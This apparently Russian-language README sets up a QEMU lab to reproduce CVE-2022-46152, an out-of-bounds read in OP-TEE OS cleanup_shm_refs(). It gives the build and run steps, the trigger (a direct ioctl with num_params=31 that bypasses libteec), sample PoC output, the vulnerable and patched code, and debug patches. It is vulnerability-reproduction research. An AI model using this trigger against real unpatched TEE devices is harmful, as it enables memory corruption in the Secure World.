
CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.
OP-TEE OS cleanup_shm_refs() — Выход за границы чтения — Среда воспроизведения
Ссылка: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Уведомление безопасности: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| Поле | Подробности |
|---|---|
| Уязвимость | cleanup_shm_refs() не проверяет num_params (теоретически до 127; на практике ограничено 31 из-за TEE_MAX_ARG_SIZE=1024 в ioctl Linux TEE), в то время как saved_attr[] содержит всего 4 элемента |
| Затронутые версии | OP-TEE OS < 3.19.0 |
| Условие срабатывания | Normal World отправляет запрос INVOKE с num_params=31 через прямой ioctl (минуя ограничение в 4 параметра libteec) |
| Влияние | Чтение за пределами границ данных стека Secure World; если остаточное значение стека соответствует типу TMEM, происходит Use-After-Free |
| Исправление | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (коммит 728616b) |
CVE-2022-46152/
├── README.md # Этот файл (английский)
├── README.zh.md # Китайская версия
├── setup.sh # Настройка окружения одной командой
├── run_qemu.sh # Запуск QEMU
├── exploit.sh # Скрипт автоматического/ручного воспроизведения
├── cve-2022-46152-oob-emsg.patch # Отладочный патч OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Патч QEMU (подавление шумных логов pflash_write)
├── poc/
│ ├── cve_2022_46152.c # Исходный код PoC (прямой ioctl в обход libteec)
│ └── Makefile # Makefile для кросс-компиляции
├── docs/
│ └── vulnerability_analysis.md # Детальный технический анализ уязвимости
└── optee/ # Окружение OP-TEE (создаётся setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (уязвимая версия)
├── build/ # Система сборки (qemu_v8.mk)
├── linux/ # Ядро Linux
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (исходники)
└── out/bin/ # Артефакты сборки
├── bl1.bin # TF-A BL1
├── Image # Образ ядра Linux
└── rootfs.cpio.gz # rootfs, содержащий PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# Проверить
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
Примечание: Используйте тег
3.18.0. Эта версия содержит уязвимость CVE-2022-46152 и ещё не имеет исправления.
./setup.sh
Этот скрипт:
repo sync для загрузки всего исходного кодаoptee/toolchains/ уже существует, иначе загружает автоматически)make all для сборки TF-A, OP-TEE OS 3.18.0, Linux и Buildroot# Откройте три терминала:
# Терминал 1 — Запуск QEMU:
./run_qemu.sh --no-gdb
# Терминал 2 — Консоль Normal World (запускать после старта run_qemu.sh):
python3 optee/build/soc_term.py 54320
# Терминал 3 — Secure World (логи OP-TEE, запускать после старта run_qemu.sh):
python3 optee/build/soc_term.py 54321
Примечание:
run_qemu.shвнутренне запускаетsoc_term.pyв режиме сервера, слушая порты 54320/54321, а QEMU подключается как клиент. Приведённые выше команды — примеры для подключения к работающему экземпляру и обычно не требуют ручного запуска.
# В терминале Normal World (54320), после появления приглашения входа:
(none) login: root
# Запустите PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Затронуто: OP-TEE OS < 3.19.0
[+] Открыт /dev/tee0
[*] Открытие сессии с Hello World TA...
[+] Сессия открыта: id=2
[*] Срабатывание уязвимости: вызов с num_params=31
[*] saved_attr[] имеет всего 4 слота -> чтение 27 лишних слов стека за пределами
[*] Размер буфера: 1016 байт (ограничение TEE_MAX_ARG_SIZE: 1024)
[+] ioctl вернул: ret=0xffff0006 origin=0x3
[+] УЯЗВИМОСТЬ СРАБОТАЛА!
[+] TEE вернул TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() отклонил num_params=31,
[+] но cleanup_shm_refs(31, saved_attr[4], ...) выполнился за пределами!
[*] Проверьте UART Secure World (порт 54321) на наличие сбоев.
[*] Готово. Проверьте вывод Secure World UART на наличие признаков OOB/аварийного завершения.
Примечание:
TEE_MAX_ARG_SIZE=1024ограничивает один ioctl максимум 31 параметром (libteec ограничен 4). Даже сnum_params=31достаточно, чтобы вызвать выход за границы (чтениеsaved_attr[4..30], 27 элементов за пределами).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
Строка предупреждения
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!— это явный лог, добавленный вentry_std.cчерез патчcve-2022-46152-oob-emsg.patchдля подтверждения пути срабатывания уязвимости.cleanup_shm_refsсчитывает 27 лишних элементов за пределами стека; если какое-либо остаточное значение стека соответствует типу TMEM, может быть вызванmobj_put()Use-After-Free.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* всего 4 слота! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ ОШИБКА: num_params может быть 127, чтение за пределами saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ ИСПРАВЛЕНИЕ: MIN(4, 127) = 4, больше нет выхода за границы */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# Настройка окружения
./setup.sh
# Запуск QEMU (с портом отладки GDB)
./run_qemu.sh
# Запуск QEMU (без ожидания GDB)
./run_qemu.sh --no-gdb
# Показать шаги ручного воспроизведения
./exploit.sh --manual
# Автоматическое воспроизведение (не нужны дополнительные терминалы, вывод в текущую оболочку)
./exploit.sh
# Подключение к консоли Normal World (после запуска run_qemu.sh)
python3 optee/build/soc_term.py 54320
# Подключение к журналу Secure World (после запуска run_qemu.sh)
python3 optee/build/soc_term.py 54321
# Отладка OP-TEE OS с GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
Этот репозиторий применяет патч qemu-pflash-suppress-unimp-log.patch поверх QEMU v7.0.0
для устранения следующего шумного вывода при запуске VM:
pflash_write: Write to buffer emulation is flawed
pflash_write() в hw/block/pflash_cfi01.c вызывает qemu_log_mask(LOG_UNIMP, ...) при
обработке команды 0xe8 (Write to buffer) CFI pflash, записывая предупреждение о "нереализованном" функционале.
Прошивка TF-A записывает данные в pflash во время загрузки, что приводит к срабатыванию этого пути и выводу сообщения при каждом запуске.
hw/block/pflash_cfi01.c)Удаляется вызов qemu_log_mask(LOG_UNIMP, ...) внутри ветки case 0xe8, при этом функциональная логика остаётся нетронутой.
optee/qemu/)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
Этот репозиторий применяет отладочный патч cve-2022-46152-oob-emsg.patch поверх
OP-TEE OS 3.18.0, чтобы при срабатывании уязвимости на UART Secure World выводилось явное предупреждение, что упрощает проверку воспроизведения.
core/tee/entry_std.c)#include <trace.h>entry_invoke_command(), перед вызовом cleanup_shm_refs(), обнаруживает num_params > TEE_NUM_PARAMS и выводит
CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 с помощью EMSG()⚠️ Этот патч предназначен только для отладки/демонстрации и не является исправлением безопасности. Настоящее исправление — в коммите 728616b.
optee/optee_os/)cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os